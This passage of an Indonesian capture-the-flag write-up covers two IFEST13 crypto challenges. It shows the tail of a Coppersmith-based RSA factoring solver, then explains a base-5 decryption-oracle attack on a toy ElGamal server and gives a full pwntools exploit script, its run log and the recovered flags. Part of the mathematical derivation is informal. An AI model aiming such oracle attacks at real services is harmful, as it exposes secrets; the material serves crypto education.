gagal.") if not found: print("[-] Tidak ada kandidat p_lo yang valid yang menghasilkan faktorisasi.") # Pesan fallback jika tidak ada yang berhasil if not potential_p_lo_values and not 'found' in locals() or ( 'found' in locals() and not found ): print("\n[*] Jika Coppersmith gagal, pertimbangkan bahwa petunjuk 'brute' mungkin literal,") print(" dan skrip Python paralel untuk brute-force 2^40 bit p_lo mungkin diperlukan,") print(" meskipun itu akan sangat lambat tanpa banyak VM.") ``` ##### Menjalankan Skrip Penyelesai Menjalankan skrip SageMath (misalnya, di [SageCell](https://sagecell.sagemath.org/)) menghasilkan output berikut (diringkas, menggunakan nilai dari informasi tambahan Anda): ``` [*] Mencari akar kecil untuk p_lo dengan X_bound = 2^40 (1099511627776)... [+] Ditemukan 1 kandidat p_lo. [*] Menguji p_lo = 307143335585 [+] Berhasil! Faktor p dan q ditemukan. p = 152170461981203044138580018222860171483648966011319086281925541493885759794755162431349753477795696871153242407332984090443277761904418330933031999427592715238374825598836399798707345437190519440709648421600461011378200951012246668647337881673386523838896883273245813392691473455180122270797417610128336314017 q = 144922128269440884691193969052877601732271046027622462528828552456155401850440263363345392437840052541235167051587359051054314257198207968414263143150653184708601934583747143373284586518556647550413291191561975196911578481725624854131586335162113599967650646081359560140388118421436124444909155273819195665103 d = 22034023494849289431913933800619732501483963604509981634261968557357370403403037542303611283294612171634400987751568675585420593289268279180946251771480709622582646084113247236226791217345229280053623100558601166029267077247032564222029459789627694765340099493722600183513754420497086527712711111899439921210090882416488367700392084763950435754592163791434355527313714762722285817411073927245640312968460952388740855954365884804766822000795520380048161465593954431572178973927754988159149824321177280603393658739442342580799576245200582463528754335916172260071078271835590447884479278995471670405440884814579513514689 m (integer) = 1399515330557409343594997512451640322724349739234424660920326901517040961350534493266772421458485203853180434105147350346921319745622803409837267833317848127 [FLAG BERHASIL DITEMUKAN] Flag: happy_brute__as_long_as_possible_lol_it_wont_be_the_flag_isnt_it? ``` **Flag: IFEST13{happy_brute__as_long_as_possible_lol_it_wont_be_the_flag_isnt_it?}** ### <center>Colorful Stage! The Movie: A Miku Who Can't Sing</center> <center>470</center> <center>Did I just put an ad in your CTF? Yes I did. THE MOVIE IS OUT NOW!!</center> #### Deskripsi Soal **Koneksi:** `nc x.x.x.x 8042` **`chall.py` (Diberikan):** ```python from Crypto.Util.number import getRandomRange, getStrongPrime class SkillException(Exception): pass FLAG = open("flag.txt").read() p = getStrongPrime(512) q = getStrongPrime(512) N = p * q o = (p - 1) * (q - 1) # Euler's totient function (phi) g = 2 # Generator x = getRandomRange(2, o) # Kunci privat ElGamal h = pow(g, x, N) # Kunci publik ElGamal: h = g^x mod N pw = getRandomRange(2, N) # "Password" rahasia yang harus kita tebak def encrypt(msg: int): y = getRandomRange(2, o) # Kunci ephemeral s = pow(h, y, N) # Shared secret: s = h^y = (g^x)^y = g^(xy) mod N c1 = pow(g, y, N) # Ciphertext bagian 1: c1 = g^y mod N c2 = msg * s % N # Ciphertext bagian 2: c2 = msg * s mod N return (c1, c2) def decrypt(c1: int, c2: int): s = pow(c1, x, N) # Recover shared secret: s = c1^x = (g^y)^x = g^(xy) mod N msg = pow(s, -1, N) * c2 % N # Plaintext: msg = c2 * s^(-1) mod N return msg def leak(): c1, c2 = encrypt(pw) # Enkripsi password rahasia print("Gacha gacha gacha: ") print(f"N: {hex(N)}") print(f"c1: {hex(c1)}") # c1 dari enkripsi pw print(f"c2: {hex(c2)}") # c2 dari enkripsi pw def main(): print("You know the drill") print("1. Encrypt") print("2. Decrypt") print("3. Win") print("==================") choice = int(input("> ")) if choice == 1: msg = int(input("msg > "), 16) c1, c2 = encrypt(msg) print(f"c1: {hex(c1)}") print(f"c2: {hex(c2)}") elif choice == 2: # Ini adalah Oracle kita! c1 = int(input("c1 > "), 16) c2 = int(input("c2 > "), 16) pt = decrypt(c1, c2) % 5 # Hasil dekripsi di-modulo 5 print(f"pt: {hex(pt)}") elif choice == 3: guess = int(input("guess > "), 16) # Tidak harus sempurna if abs(guess - pw) < 256: # Toleransi kesalahan print("Gratz, you win!") print(FLAG) exit(0) else: raise SkillException("404 skill not found") if __name__ == '__main__': leak() # Kita mendapatkan N, c1_pw, c2_pw try: for _ in range(444): # Batas interaksi main() except Exception as e: print("Eyy stop!") print(f"Exception triggered: {e.__class__}") ``` **Analisis** Skrip `chall.py` mengimplementasikan skema enkripsi ElGamal di atas gelanggang `Z_N` (di mana `N=p*q`, bukan modulo prima seperti ElGamal standar, tetapi operasinya serupa). 1. Kunci publik ElGamal adalah `(N, g, h)` dan kunci privatnya adalah `x`. 2. Sebuah "password" rahasia `pw` dibangkitkan. 3. Fungsi `leak()` mengenkripsi `pw` ini dan memberikan kita `N`, `c1_pw`, dan `c2_pw`. * `c1_pw = pow(g, y_pw, N)` * `c2_pw = (pw * pow(h, y_pw, N)) % N` * Kita bisa tulis `s_pw = pow(h, y_pw, N) = pow(c1_pw, x, N)`. Maka `c2_pw = (pw * s_pw) % N`. 4. Kita memiliki tiga opsi interaksi: * Opsi 1: Enkripsi pesan pilihan kita. Tidak terlalu berguna karena kita tidak tahu `x`. * Opsi 2: **Oracle Dekripsi**. Kita memberikan `c1` dan `c2`. Server akan mendekripsinya menjadi `pt_server = decrypt(c1, c2)` dan mengembalikan `pt_server % 5`. Ini adalah celah utama. * Opsi 3: Menebak `pw`. Jika tebakan kita `guess` cukup dekat (`abs(guess - pw) < 256`), kita mendapatkan flag. Kita memiliki 444 interaksi total. Tujuannya adalah untuk memulihkan `pw`. Karena kita memiliki oracle yang mengembalikan hasil dekripsi modulo 5, kita dapat mencoba memulihkan `pw` digit per digit dalam basis 5. **Metode Solusi: Oracle Attack (LSB Recovery dalam Basis 5)** Misalkan `pw` dapat direpresentasikan dalam basis 5 sebagai: `pw = D_0 * (5 pangkat 0) + D_1 * (5 pangkat 1) + D_2 * (5 pangkat 2) + ... + D_m * (5 pangkat m)` di mana `D_i` adalah digit-digit basis 5 dari `pw` (yaitu, `D_i` adalah salah satu dari angka 0, 1, 2, 3, atau 4). Kita akan menggunakan oracle dekripsi (Opsi 2). Ingat bahwa jika kita mengirim `(c1_input, c2_input)` ke oracle, ia akan menghitung `s_input = pow(c1_input, x, N)` dan kemudian `msg_input = (c2_input * pow(s_input, -1, N)) % N`. Oracle mengembalikan `msg_input % 5`. Kita selalu menggunakan `c1_pw` yang diberikan oleh fungsi `leak()` sebagai `c1_input` kita. Ini berarti `s_input` yang dihitung server akan selalu sama dengan `s_pw = pow(c1_pw, x, N)`. Maka, `msg_input = (c2_input * pow(s_pw, -1, N)) % N`. Kita tahu `c2_pw = (pw * s_pw) % N`, sehingga `pow(s_pw, -1, N)` (invers modular dari `s_pw` modulo `N`) sama dengan `(pw * pow(c2_pw, -1, N)) % N`. Jadi, `msg_input = (c2_input * pw * pow(c2_pw, -1, N)) % N`. Sekarang, mari kita rancang `c2_input` kita. Untuk setiap iterasi `k` (dimulai dari `k=0`): 1. Kita ingin mengisolasi `D_k`. 2. Kita atur `c2_input_k = (c2_pw * pow(5^k, -1, N)) % N`. Di sini, `pow(5^k, -1, N)` adalah invers modular dari `5 pangkat k` modulo `N`. 3. Maka, pesan yang didekripsi oleh server adalah: `msg_k = (c2_input_k * pw * pow(c2_pw, -1, N)) % N` `msg_k = ( (c2_pw * pow(5^k, -1, N)) * pw * pow(c2_pw, -1, N) ) % N` `msg_k = (pw * pow(5^k, -1, N)) % N` Ini secara efektif adalah `pw` dikalikan dengan invers modular dari `5 pangkat k` (modulo `N`), kemudian hasilnya di modulo `N`. 4. Oracle mengembalikan `r_k = msg_k % 5`. Jadi, `r_k = ( (pw * pow(5^k, -1, N)) % N ) % 5`. Sekarang kita analisis `r_k`: * **Untuk k = 0:** `msg_0 = (pw * pow(5^0, -1, N)) % N = (pw * pow(1, -1, N)) % N = pw % N`. `r_0 = msg_0 % 5 = pw % 5`. Karena `pw = D_0 + 5*D_1 + 25*D_2 + ...`, maka `pw % 5 = D_0`. Jadi, `D_0 = r_0`. Kita telah menemukan digit paling tidak signifikan (LSB) dari `pw` dalam basis 5. * **Untuk k = 1:** `msg_1 = (pw * pow(5^1, -1, N)) % N`. Ini adalah `pw` dikalikan invers modular dari 5 (modulo N). `r_1 = msg_1 % 5`. Secara konseptual, `pw` dikalikan `(invers dari 5)` adalah `(D_0 + 5*D_1 + 25*D_2 + ...) * (invers dari 5)`. Jika kita pikirkan ini modulo 5, ini menjadi `(D_0 * (invers dari 5) + D_1 + 5*D_2 + ...) % 5`. Suku `5*D_2` dan seterusnya akan menjadi 0 jika dimodulo 5. Jadi, `r_1 = (D_0 * (invers dari 5) + D_1) % 5`. Dari sini, `D_1 = (r_1 - D_0 * (invers dari 5)) % 5`. Invers dari 5 yang dimaksud di sini adalah invers modularnya dalam ekspresi yang lebih besar modulo N, yang kemudian diproyeksikan ke modulo 5. Skrip solver menangani ini dengan benar dengan menghitung `sum_lhs_terms_mod_5 = (D_0 * (invers_5_mod_N)) % 5`. Kemudian `D_1 = (r_1 - sum_lhs_terms_mod_5 + 5) % 5`. * **Untuk k umum:** Pesan yang didekripsi adalah `msg_k = (pw * pow(5^k, -1, N)) % N`. Jika kita tulis `pw` dalam basis 5: `pw = D_0*(5^0) + D_1*(5^1) + ... + D_k*(5^k) + D_{k+1}*(5^{k+1}) + ...` Maka `msg_k` (secara konseptual) adalah: ` ( D_0*(5^0)*pow(5^k, -1) + D_1*(5^1)*pow(5^k, -1) + ... + D_k*(5^k)*pow(5^k, -1) + D_{k+1}*(5^{k+1})*pow(5^k, -1) + ... ) % N` Ini dapat disederhanakan menjadi (di mana `5 pangkat (-a)` berarti `pow(5^a, -1, N)` atau invers modular dari `5 pangkat a` modulo `N`): ` ( D_0*(5 pangkat (-k)) + D_1*(5 pangkat (1-k)) + ... + D_{k-1}*(5 pangkat (-1)) + D_k*(5 pangkat 0) + D_{k+1}*(5 pangkat 1) + ... ) % N` Ketika kita mengambil `msg_k % 5`, semua suku mulai dari `D_{k+1}*(5 pangkat 1)` dan seterusnya akan menjadi 0 modulo 5, karena mereka memiliki faktor 5. Jadi, `r_k = ( D_k * (5 pangkat 0) + D_{k-1} * (5 pangkat (-1)) + ... + D_0 * (5 pangkat (-k)) ) % 5`. Atau ditulis ulang: `r_k = ( D_k + (jumlah dari j=0 hingga k-1 untuk [D_j * (5 pangkat (j-k))]) ) % 5`. Maka, `D_k = ( r_k - (jumlah dari j=0 hingga k-1 untuk [D_j * (5 pangkat (j-k))]) ) % 5`. Suku "(jumlah dari ...)" adalah `sum_lhs_terms_mod_5` yang dihitung oleh skrip solver, di mana `5 pangkat (j-k)` dihitung sebagai `pow(5 pangkat (k-j), -1, N)`. 5. Kita ulangi proses ini untuk `k = 0, 1, 2, ...` sampai kita telah memulihkan cukup banyak digit `D_k`. `N` adalah 1024-bit. Jumlah digit basis 5 yang dibutuhkan kira-kira adalah `logaritma basis 5 dari N`. `log_5(2 pangkat 1024) = 1024 * log_5(2)`. Karena `log_5(2)` sekitar 0.43, maka jumlah digitnya sekitar `1024 * 0.43` yang hasilnya kira-kira 440. Jadi kita perlu sekitar 441 digit (`D_0` sampai `D_{440}`). Kita memiliki 444 interaksi, dikurangi 1 untuk tebakan akhir, jadi 443 interaksi untuk oracle. Ini cukup. 6. Setelah mendapatkan semua `D_k`, kita rekonstruksi `pw` dengan menjumlahkan `D_k * (5 pangkat k)` untuk semua `k`. 7. Kirim `pw` ini sebagai tebakan (Opsi 3). Karena kita memulihkannya secara eksak, `abs(guess - pw)` akan menjadi 0, yang `< 256`. **Skrip Penyelesai (Python dengan Pwntools)** Skrip yang diberikan sudah mengimplementasikan logika ini. ```python import pwn HOST = "x.x.x.x" PORT = 8042 def solve_live(): conn = pwn.remote(HOST, PORT) # --- Tahap 1: Menerima nilai awal dari server (leak) --- conn.recvuntil(b"N: ") N_hex = conn.recvline().strip().decode() conn.recvuntil(b"c1: ") c1_pw_hex = conn.recvline().strip().decode() conn.recvuntil(b"c2: ") c2_pw_hex = conn.recvline().strip().decode() N = int(N_hex, 16) c1_pw = int(c1_pw_hex, 16) c2_pw = int(c2_pw_hex, 16) pwn.log.info(f"N: {hex(N)}") pwn.log.info(f"c1_pw (Ciphertext 1 untuk pw): {hex(c1_pw)}") pwn.log.info(f"c2_pw (Ciphertext 2 untuk pw): {hex(c2_pw)}") recovered_pw_digits = [] recovered_pw_val = 0 current_power_of_5_int = 1 # Ini akan menjadi 5^k num_iterations_for_N = 0 temp_N_for_digits = N while temp_N_for_digits > 0: temp_N_for_digits //= 5 num_iterations_for_N +=1 # Batasi jumlah iterasi dengan batas dari soal (444 - 1 untuk guess) # dan perkiraan jumlah digit. Tambah 1 untuk keamanan jika pw dekat N. num_iterations = min(num_iterations_for_N + 1, 443) pwn.log.info(f"Akan melakukan {num_iterations} iterasi (k=0 sampai {num_iterations-1}) untuk memulihkan digit pw.") # --- Tahap 2: Iterasi untuk memulihkan digit D_k --- for k in range(num_iterations): conn.recvuntil(b"> ") conn.sendline(b"2") # Pilih opsi dekripsi (oracle) # Hitung invers modular dari (5^k) modulo N inv_5_pow_k_N = pow(current_power_of_5_int, -1, N) # Siapkan c2 yang akan dikirim: c2_pw * (invers dari 5^k) mod N # Ini akan membuat server mendekripsi (pw * (invers dari 5^k)) mod N c2_to_send = (c2_pw * inv_5_pow_k_N) % N conn.recvuntil(b"c1 > ") conn.sendline(hex(c1_pw).encode()) # Selalu gunakan c1_pw conn.recvuntil(b"c2 > ") conn.sendline(hex(c2_to_send).encode()) conn.recvuntil(b"pt: ") oracle_output_hex = conn.recvline().strip().decode() r_k = int(oracle_output_hex, 16) # Ini adalah ( (pw * (invers dari 5^k)) mod N ) mod 5 # Hitung sum_lhs_terms_mod_5 = ( Jumlah_{j=0}^{k-1} D_j * (5 pangkat (j-k)) ) mod 5 # Ini adalah bagian yang perlu dikurangkan dari r_k actual_sum_mod_N = 0 if k > 0: # val_for_sum akan menjadi (5 pangkat (j-k)) mod N # Mulai j=0 (menjadi 5 pangkat (-k)), j=1 (5 pangkat (1-k)), ..., j=k-1 (5 pangkat (-1)) val_for_sum = inv_5_pow_k_N # Untuk j=0, ini (5 pangkat (-k)) mod N for j_idx in range(k): # j_idx dari 0 sampai k-1 Dj = recovered_pw_digits[j_idx] # Ini adalah D_j yang sudah ditemukan term_mod_N = (Dj * val_for_sum) % N actual_sum_mod_N = (actual_sum_mod_N + term_mod_N) % N val_for_sum = (val_for_sum * 5) % N # Update untuk j berikutnya: 5 pangkat ( (j_idx+1) - k ) sum_lhs_terms_mod_5 = actual_sum_mod_N % 5 # Hitung D_k = (r_k - sum_lhs_terms_mod_5) mod 5 D_k = (r_k - sum_lhs_terms_mod_5 + 5) % 5 # Tambah 5 untuk memastikan hasil positif sebelum modulo recovered_pw_digits.append(D_k) recovered_pw_val += D_k * current_power_of_5_int # Rekonstruksi pw if k % 50 == 0 or k == num_iterations - 1: pwn.log.info(f"Iter {k}: r_{k}={r_k}, sum_lhs(fixed)={sum_lhs_terms_mod_5}, D_{k}={D_k}") current_power_of_5_int *= 5 # Update untuk 5^(k+1) pada iterasi berikutnya pwn.log.info(f"Selesai memulihkan digit. recovered_pw_val: {hex(recovered_pw_val)}") # --- Tahap 3: Menebak pw dan mendapatkan flag --- conn.recvuntil(b"> ") conn.sendline(b"3") # Pilih opsi untuk menang conn.recvuntil(b"guess > ") conn.sendline(hex(recovered_pw_val).encode()) # Kirim pw yang telah direkonstruksi try: conn.recvuntil(b"IFEST13{", timeout=5) flag_content = conn.recvuntil(b"}", timeout=5) flag = b"IFEST13{" + flag_content pwn.log.success(f"Flag: {flag.decode()}") except EOFError: pwn.log.failure("Gagal mendapatkan flag. EOF.") except Exception as e: pwn.log.failure(f"Exception saat mengambil flag: {e}") conn.close() if __name__ == '__main__': solve_live() ``` #### Hasil Eksekusi Berikut adalah output dari eksekusi skrip: ``` [+] Opening connection to x.x.x.x on port 8042: Done [*] N: 0xba0a557b956e945a70888bdfdab847558747ea0afe3f337d3eda61c3dace2590b0525a2f53b3c9b27c98833ee38c79c54c0788a84607ffe719cbcce235f7687f7701cb710e96c73eef32e075979cfc875cba3eccc9e5843a5409e6b9d88444625a75e6c69877f4338560c08e48e870109dbe5896c035ec2d9ac6a5a77fd50d51 [*] c1_pw (Ciphertext 1 untuk pw): 0x97cf3669ac947739ddf07279f837a1dfd079216cd1a5defaba85abbe1c35f5b1ff01b62dd47866ef20c4350563d99474e0003822e9be7dfa4fb1c787d5d9c7001ad759b9c0d64f26dc65a2141c194f066d2f6321e9a08e96d28955b882174ee055f2713f832b1f252fca93f83eacaa42a93839bfac8eb615ddbdb079caf82a84 [*] c2_pw (Ciphertext 2 untuk pw): 0x479685b7292543934de67f85b85eb01387e24b39610a463425c641fb32f61dc672983d30ba824adcfeb33e93d725dbc8e305e2c2cafb4d9cf2fbbfe6548c0ca3f6 [*] Akan melakukan 442 iterasi (k=0 sampai 441) untuk memulihkan digit pw. [*] Iter 0: r_0=2, sum_lhs(fixed)=0, D_0=2 [*] Iter 50: r_50=0, sum_lhs(fixed)=1, D_50=4 [*] Iter 100: r_100=0, sum_lhs(fixed)=4, D_100=1 [*] Iter 150: r_150=4, sum_lhs(fixed)=1, D_150=3 [*] Iter 200: r_200=2, sum_lhs(fixed)=0, D_200=2 [*] Iter 250: r_250=4, sum_lhs(fixed)=4, D_250=0 [*] Iter 300: r_300=1, sum_lhs(fixed)=2, D_300=4 [*] Iter 350: r_350=1, sum_lhs(fixed)=3, D_350=3 [*] Iter 400: r_400=1, sum_lhs(fixed)=0, D_400=1 [*] Iter 441: r_441=3, sum_lhs(fixed)=3, D_441=0 [*] Selesai memulihkan digit. recovered_pw_val: 0x3a2c5a6c45ee58c51de6b68efd57b9fafd30163f8dab0990e2411562bf16c52155b754d059f7d7f5dc125ca18aa59fed8768cfbf5cf896aba38e22294ec805641deb6f284f50ed7295ac860d5f6dd2e723dd1b222931aaedb1f3c1a9c460e26dbb2e328332778992fb03ccc25574f7fc66942fb5cf673a60e1f2d04ae687ad7b [+] Flag: IFEST13{https://colorfulstage.com/news/detail/000779.html?flag=cee64e30a097d6ca698dc781} [*] Closed connection to x.x.x.x port 8042 ``` ##### Flag Flag yang berhasil dipulihkan adalah: `IFEST13{https://colorfulstage.com/news/detail/000779.html?flag=cee64e30a097d6ca698dc781}`